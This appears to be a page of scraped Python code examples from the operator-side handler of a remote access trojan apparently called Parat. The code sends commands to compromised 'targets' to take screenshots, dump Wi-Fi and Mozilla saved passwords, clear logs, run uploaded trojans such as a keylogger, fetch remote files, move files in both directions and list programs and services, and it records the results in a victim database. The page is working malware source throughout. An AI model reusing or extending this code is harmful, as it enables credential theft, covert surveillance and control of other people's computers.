Exemplo n.º 1
0
    def recive_online(self):

        self.conn.send(Encode("#FSCAN"))

        text = colorize("scanning", colored=self.colors, status="INF")
        process_bar = ParatProcessBar(text)
        process_bar.start_process()

        response = Decode(self.conn.recv(4096))

        # write data to disk
        with open(self.scan_file, "w") as info_file:
            info_file.write(response.replace(self.handler, "").rstrip())
        info_file.close()

        process_bar.Stop = True
        sleep(0.2)

        pprint("\n")
        pprint(response.replace(self.handler, "").rstrip())
        pprint("\n\n")

        self.db_con.execute(
            "UPDATE targets SET oPorts=? WHERE id=?",
            (response.replace(self.handler, "").rstrip(), self.client_id))
        self.db_con.commit()
Exemplo n.º 2
0
    def prepare_basics(self):

        self.conn.send(Encode(">screensh0t<"))
        text = colorize("capturing", colored=self.colors, status="INF")
        self.process_bar = ParatProcessBar(text)
        self.process_bar.start_process()

        self.filename = "scr_" + rand_str(5)
        self.filename += ".bmp"
        self.screenshot_file = open(self.filename, 'wb')
Exemplo n.º 3
0
class ParatScreenshot:
    def __init__(self, conn, colors):

        self.handler = "#DATA_HANDLER"
        self.conn = conn
        self.colors = colors

    def prepare_basics(self):

        self.conn.send(Encode(">screensh0t<"))
        text = colorize("capturing", colored=self.colors, status="INF")
        self.process_bar = ParatProcessBar(text)
        self.process_bar.start_process()

        self.filename = "scr_" + rand_str(5)
        self.filename += ".bmp"
        self.screenshot_file = open(self.filename, 'wb')

    def start(self):

        try:
            recived_data = self.conn.recv(4096)

            while recived_data:
                self.screenshot_file.write(recived_data)
                sleep(0.1)
                recived_data = self.conn.recv(4096)

                if self.handler in recived_data:
                    self.screenshot_file.write(
                        recived_data.replace(self.handler, ""))
                    break

            self.screenshot_file.close()

            self.process_bar.Stop = True
            sleep(0.2)
            pprint(
                colorize("Captured: %s\n" % self.filename,
                         colored=self.colors,
                         status="SUC"))
            # system('feh ' + self.filename)

        except socket.error:

            self.process_bar.Stop = True
            sleep(0.2)
            CTRL_C(self.conn, self.handler, self.colors,
                   self.filename.replace(".bmp", ""))
Exemplo n.º 4
0
    def start(self):

        try:

            if len(self.args) == 0:
                pprint(
                    colorize("usage: runfile keylogger.exe\n",
                             colored=self.colors,
                             status="INF"))

            else:

                self.trojan_name = self.args[0]
                text = colorize("uploading", colored=self.colors, status="INF")
                self.process_bar = ParatProcessBar(text)

                if os.path.isfile(self.trojan_name):
                    self.local_method()
                else:
                    self.remote_method()

        except Exception as e:

            if self.process_bar:
                self.process_bar.Stop = True
                sleep(0.2)

            pprint(
                colorize("Running failed.\n",
                         colored=self.colors,
                         status="ERR"), 1)
Exemplo n.º 5
0
    def start(self):

        self.conn.send(Encode("rmlog"))

        text = colorize(
            "cleaning logs",
            colored=self.colors,
            status="INF"
        )
        process_bar = ParatProcessBar(text)
        process_bar.start_process()

        result = Decode(self.conn.recv(4096))
        process_bar.Stop = True
        sleep(0.2)

        pprint(result) if self.colors else pprint(gray(result))
Exemplo n.º 6
0
def tumultuous(conn, handler, colors, name):

    try:

        text = colorize(
            "Checking for data",
            colored=colors,
            status="INF"
        )
        process_bar = ParatProcessBar(text)
        process_bar.start_process()

        conn.settimeout(3)
        data = conn.recv(4096)
        rands = ''.join(choice(ascii_letters) for _ in range(5))
        handled_file  = "handled_%s_%s.log" % (name, rands)
        data_handler  = open(handled_file, "w")

        while data:
            if handler in data: break
            data_handler.write(data)
            data = conn.recv(4096)

        process_bar.Stop = True
        sleep(0.2)

        pprint(
            colorize(
                "Handler file: %s\n" % handled_file,
                colored=colors,
                status="SUC"
            )
        )
        data_handler.close()


    except Exception as e:

        if "[Errno 9]" in str(e):
            pass # <socket.error> Bad file descriptor

        elif "timed out" in str(e):
            process_bar.Stop = True
            sleep(0.2)
            pprint(
                colorize(
                    "No specify data!\n",
                    colored=colors,
                    status="SUC"
                ), 1)
        else:
            process_bar.Stop = True
            sleep(0.2)
            pprint(
                colorize(
                    str(e)+"\n",
                    colored=colors,
                    status="ERR"
                ), 1)
Exemplo n.º 7
0
    def start(self):

        if len(self.program) == 0:
            pprint(
                colorize("usage: uninstall 'Adobe Acrobat Reader DC'\n",
                         colored=self.colors,
                         status="INF"))

        else:

            text = colorize("tring for uninstall",
                            colored=self.colors,
                            status="INF")
            process_bar = ParatProcessBar(text)
            process_bar.start_process()

            self.conn.send(Encode("uninstall<#>" + self.program[0]))
            result = Decode(self.conn.recv(4096))

            process_bar.Stop = True
            sleep(0.2)
            pprint(result) if self.colors else pprint(gray(result))
Exemplo n.º 8
0
    def start(self):

        try:

            if len(self.args) == 0:
                pprint(
                    colorize(
                        "usage: wget http://google.com/file.any\n",
                        colored=self.colors,
                        status="INF"
                    ))
            else:
                text = colorize(
                    "downloading",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                url_address = self.args[0]

                if url_address.strip() != "":

                    start_download_from_url = "wget<#>" + url_address
                    self.conn.send(Encode(start_download_from_url))
                    response = str(Decode(self.conn.recv(4096)))

                    process_bar.Stop = True
                    sleep(0.2)
                    pprint(response) if self.colors else pprint(gray(response))

                else:
                    pprint(
                        colorize(
                            "No specified url.\n",
                            colored=self.colors,
                            status="ERR"
                        ))
        except:

            if process_bar:
                process_bar.Stop = True;
                sleep(0.2)

            pprint(
                colorize(
                    "Url error.\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
Exemplo n.º 9
0
    def download(self, args):

        file_name = args[0]

        if file_name != "":

            self.conn.send(Encode("download<#>" + file_name))
            recive_data = self.conn.recv(4096)

            if "File '%s' not found." % file_name in recive_data or "Unknown error" in recive_data:
                pprint(
                    colorize(
                        recive_data,
                        colored=self.colors,
                        status="ERR"
                    ), 1)

            else:
                recive_file = open(file_name.strip(), "wb")
                text = colorize(
                    "downloading",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                while recive_data:
                    recive_file.write(recive_data)
                    sleep(0.1)
                    recive_data = self.conn.recv(4096)

                    if self.handler in recive_data:
                        process_bar.Stop = True; break

                recive_file.close()
                process_bar.Stop = True
                sleep(0.2)
                pprint(
                    colorize(
                        "Download complete -> %s\n" % file_name,
                        colored=self.colors,
                        status="SUC"
                    ))
        else:
            pprint(
                colorize(
                    "No specified file.\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
Exemplo n.º 10
0
    def dump_wifi(self, update=False):

        try:

            if not isfile(self.path_to_wifi) or update:

                self.conn.send(Encode(">wif1<"))

                text = colorize(
                    "dumping wifi",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                recived_data = Decode(self.conn.recv(4096))
                full_content = ""

                if "No wifi(es) found." in recived_data:
                    full_content = recived_data

                else:

                    while recived_data:

                        recived_data += "\n"
                        full_content += recived_data
                        recived_data = Decode(self.conn.recv(4096))
                        sleep(0.1)

                        if self.handler in recived_data:
                            full_content = full_content.replace(self.handler, "").rstrip() + "\n"; break


                with open(self.wifi_file_name, 'wb') as wifi_file:
                    wifi_file.write(full_content)
                wifi_file.close()

                process_bar.Stop = True
                sleep(0.2)
                pprint(
                    colorize(
                        "successfull!\n",
                        colored=self.colors,
                        status="SUC"
                    ))
            else:
                pass


        except Exception as e:

            if not process_bar.Stop:
                process_bar.Stop = True; sleep(0.2)
            pprint(
                colorize(
                    e + "\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)

        else:
            system("cat '{}'".format(self.path_to_wifi))
Exemplo n.º 11
0
    def dump_mozilla(self, update=False):

        try:

            if not isfile(self.path_to_mozilla) or update:

                self.conn.send(Encode("passwords<#>mozilla"))

                text = colorize(
                    "dumping mozilla passwords",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                result = Decode(self.conn.recv(4096))
                full_content = result

                if "No password" in result or "Could not" in result or "doesn't exists" in result or "[!]" in result:
                    pass

                else:

                    while True:

                        full_content += result
                        result = Decode(self.conn.recv(4096))
                        sleep(0.1)

                        if self.handler in result:
                            full_content += "\n"; break

                with open(self.mozilla_file_name, 'wb') as moz_file:
                    moz_file.write(full_content)
                moz_file.close()

                process_bar.Stop = True; sleep(0.2)
                pprint(
                    colorize(
                        "successfull!\n",
                        colored=self.colors,
                        status="SUC"
                    ))

            else:
                pass


        except Exception as e:

            if not process_bar.Stop:
                process_bar.Stop = True; sleep(0.2)
            pprint(
                colorize(
                    e + "\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)

        else:

            mfile = open(self.path_to_mozilla, 'r')
            mcontent = mfile.read()

            self.db.execute("UPDATE targets SET Mozilla=? WHERE id=?", (mcontent, self.client_id))
            self.db.commit()

            pprint(mcontent + "\n")

            mfile.close()
Exemplo n.º 12
0
    def dump_programs(self, update=False):

        try:

            if not isfile(self.path_to_pfile) or update:

                self.conn.send(Encode("programs"))
                program_file = open("null.txt", 'wb')

                text = colorize(
                    "dumping programs",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()
                program = self.conn.recv(4096)

                while program:

                    if self.handler in program:
                        program = program.replace(self.handler, "").rstrip()
                        break

                    program_file.write(program)
                    sleep(0.1)
                    program = self.conn.recv(4096).rstrip()

                program_file.close()

                system(r"tr < null.txt -d '\000' > programs.txt")
                sleep(.1)
                system("rm null.txt")

                process_bar.Stop = True; sleep(0.2)
                pprint(
                    colorize(
                        "Programs dumped: %s\n\n" % \
                        self.programs_file_name,
                        colored=self.colors,
                        status="SUC"
                    ))
            else:
                pass


        except Exception as e:

            if not process_bar.Stop:
                process_bar.Stop = True; sleep(0.2)

            pprint(
                colorize(
                    e + "\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)


        else:

            displayer  = "\n   \033[1;34mName" + " "*105 + "Version\033[1;m\n "
            displayer += "=" * 123

            with open(self.path_to_pfile, "r") as progs_file:

                pcontent = progs_file.read()
                result = re.findall(r'Name=(.+$)\nVersion=(.+$)', pcontent, re.MULTILINE)

                self.db.execute("UPDATE targets SET Programs=? WHERE id=?", (str(result), self.client_id))
                self.db.commit()

                pprint(displayer + '\n') if self.colors else pprint(gray(displayer) + '\n')

                for i, program in enumerate(result, 1):

                    name = re.sub(r'\\x.{2}.?', "", repr(program[0].replace("\r", ""))).replace("'", "")
                    ver  = program[1].replace("\r", "")
                    pprint(" {:<110}{}\n".format(str(i) + "-" + name, ver))

                pprint("\n")

            progs_file.close()
Exemplo n.º 13
0
    def dump_services(self, update=False):

        try:

            if not isfile(self.path_to_sfile) or update:

                self.conn.send(Encode("services"))
                services_file = open(self.services_file_name, 'wb')

                text = colorize(
                    "dumping services",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                service = self.conn.recv(4096)

                while service:

                    services_file.write(service.rstrip("\n\n"))
                    sleep(0.1)
                    service = self.conn.recv(4096)

                    if self.handler in service:
                        service = service.replace(self.handler, "").rstrip()
                        break

                services_file.close()

                process_bar.Stop = True; sleep(0.2)
                pprint(
                    colorize(
                        "Services dumped: %s\n\n" % \
                        self.services_file_name,
                        colored=self.colors,
                        status="SUC"
                    ))
            else:
                pass


        except Exception as e:

            if not process_bar.Stop:
                process_bar.Stop = True; sleep(0.2)
            pprint(
                colorize(
                    e + "\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)

        else:

            sfile = open(self.path_to_sfile, 'r')
            scontent = sfile.read()

            self.db.execute("UPDATE targets SET Services=? WHERE id=?", (scontent, self.client_id))
            self.db.commit()

            pprint("\n" + scontent + "\n")

            sfile.close()
Exemplo n.º 14
0
    def upload(self, args):

        file_name = args[0]

        if file_name.strip() != "":

            if isfile(file_name):

                try:

                    self.conn.send(Encode("upload<#>" + file_name))
                    upload_file = open(file_name, "rb")
                    upload_data = upload_file.read(4096)
                    self.conn.send(Encode("#IS_FILE"))
                    sleep(0.1)

                    text = colorize(
                        "uploading",
                        colored=self.colors,
                        status="INF"
                    )
                    process_bar = ParatProcessBar(text)
                    process_bar.start_process()

                    while upload_data:
                        self.conn.send(upload_data)
                        sleep(0.1)
                        upload_data = upload_file.read(4096)

                    self.conn.send("#UPLOAD_END")
                    process_bar.Stop = True
                    sleep(0.2)
                    upload_file.close()

                    pprint(
                        colorize(
                            "Upload complete -> %s\n" % file_name,
                            colored=self.colors,
                            status="SUC"
                        ))

                except IOError:

                    self.conn.send(Encode("#NOT_FILE"))
                    pprint(
                        colorize(
                            file_name + " Not found.\n",
                            colored=self.colors,
                            status="ERR"
                        ), 1)
            else:
                pprint(
                    colorize(
                        "File not found: %s\n" % file_name,
                        colored=self.colors,
                        status="ERR"
                    ), 1)
        else:
            pprint(
                colorize(
                    "No specified file.\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)